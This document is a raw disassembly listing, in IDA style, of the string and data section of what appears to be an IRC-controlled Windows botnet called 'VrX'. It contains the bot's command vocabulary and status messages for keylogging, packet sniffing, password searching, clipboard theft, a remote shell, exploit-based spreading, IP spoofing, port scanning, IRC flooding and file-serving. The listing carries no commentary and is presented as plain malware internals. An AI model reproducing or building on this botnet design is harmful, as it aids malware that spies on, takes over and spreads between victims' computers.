aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo
; sub_409909+5F0o
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo
align 4
unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo
align 4
unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o
aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o
; sub_401ACD+443Do ...
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo
align 4
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o
align 10h
dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_ db '- No thread found.',0
align 10h
dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o
aAlreadyRunning db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o
align 10h
unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoVrxSnifferTh db '- No VrX sniffer thread found.',0
unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxPacketSniff db '- VrX packet sniffer active.',0
align 10h
unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o
aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo
aAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao
; sub_401ACD+41EAo ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo
aV: ; DATA XREF: sub_401ACD+3FE4o
; ___:004387BCo ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o
align 10h
aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o
; sub_401ACD+453Fo
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o
align 10h
aO: ; DATA XREF: sub_401ACD+3E74o
; ___:00438AECo
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do
; sub_401ACD+583Ao ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o
align 10h
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o
align 10h
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o
align 4
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o
align 4
aJ: ; DATA XREF: sub_401ACD+3D32o
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D04o
; ___:004387C4o ...
unicode 0, <n>,0
unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do
align 10h
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o
align 10h
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AB7o
; sub_401ACD+3AF2o
dd 0
dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3A7Co
dd 1
dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A41o
; sub_401ACD+3B62o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo
align 10h
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o
; sub_401ACD+3991o ...
align 10h
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o
; sub_401ACD+3CEDo
align 4
dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+369Ao
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do
dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo
; sub_401ACD+3712o ...
dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o
; sub_40AAAC+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o
; sub_401ACD+3520o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o
; sub_401ACD+3D49o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o
; sub_401ACD+34F4o ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o
; sub_401ACD+3D1Bo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o
align 10h
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o
; sub_401ACD+47C9o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo
align 4
aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo
align 4
dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32A4o
dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o
dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
; sub_401ACD+385Co ...
dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo
; sub_401ACD+3275o ...
dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo
; sub_401ACD+4756o
unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo
db 3, 34h, 2
db 56h ; V
db 72h, 58h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o
align 10h
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co
align 10h
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o
align 4
unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o
align 4
unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o
; sub_401ACD+3F71o
unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0
align 10h
unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0
align 4
dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
db 'Hackers.com).',0
dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o
aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2D8Eo
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o
align 4
unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o
aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o
dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o
unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
; sub_401ACD:loc_409570o ...
align 4
unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec db '8,1-VrX- Disconnecting.',0
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
; sub_401ACD+78C1o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
align 4
unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
align 4
unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0
align 4
unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+2917o
dd 65726874h, 2E736461h, 0
dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o
unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList db '8,1-VrX- Alias list.',0
align 4
unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2815o
dd 2E676Fh
unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn db '8,1-VrX- Network Info.',0
unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf db '8,1-VrX- System Info.',0
align 4
unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB db '8,1-VrX- Removing Bot.',0
unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+2658o
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o
align 4
unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 4
unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0
align 4
unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0
align 4
dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+2456o
dd 2Dh
unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo
; sub_40BD91+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o
; sub_40BD91+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o
db 3, 34h, 2
db 4Dh ; M
db 61h, 2 dup(53h)
db 20h
db 53h, 63h, 41h
db 6Eh ; n
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start scan, port is invalid.',0
unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o
; sub_401ACD+5B20o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o
; sub_401ACD+5B19o
align 4
dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
align 4
unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+1BC8o
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o
align 4
aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co
align 10h
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o
unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB db '8,1-VrX- Crashing bot.',0
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o
; sub_401ACD+1B71o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo
align 10h
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o
align 10h
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o
align 10h
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o
; sub_401ACD+3C81o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo
align 10h
unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList db '8,1-VrX- Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+1902o
dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o
dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o
aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o
align 4
